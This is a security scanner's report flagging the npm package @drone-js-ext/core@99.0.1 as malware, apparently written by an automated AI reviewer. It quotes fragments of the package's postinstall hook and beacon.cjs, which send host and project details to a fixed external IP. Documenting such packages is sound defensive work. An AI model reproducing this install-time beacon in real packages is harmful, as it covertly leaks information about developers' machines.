@drone-js-ext/core@99.0.1
Compatibility shim.
AI Security Review
scanned 9d ago · by lpm-firewall-aiSource confirms automatic installation-time disclosure of host and project identifiers to a fixed external collector without installer consent. This meets the installation beacon blocking policy.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or import of index.js.
Impact
The collector receives identifying information about the installing machine and project without an evident consent gate.
Mechanism
beacon.cjs collects hostname, install path, working directory, and runtime version, then sends them in an HTTP POST.
Attack narrative
The postinstall hook runs beacon.cjs, which collects the machine hostname, package install path, working directory, and runtime version and posts them to a fixed external endpoint. The package entrypoint also invokes the beacon when imported. The source shows no consent gate for either activation path.
AI rationale
Source confirms automatic installation-time disclosure of host and project identifiers to a fixed external collector without installer consent. This meets the installation beacon blocking policy.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST request to a fixed external endpoint.
- The transmitted payload contains the machine hostname, install path, working directory, and runtime version.
- Running beacon.cjs directly invokes the send; importing index.js also invokes it.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"bea
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@drone-js-ext/core";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @drone-js-ext/core@99.0.1.
See all versions of @drone-js-ext/core for other recorded verdicts.
- Avoid installing @drone-js-ext/core@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.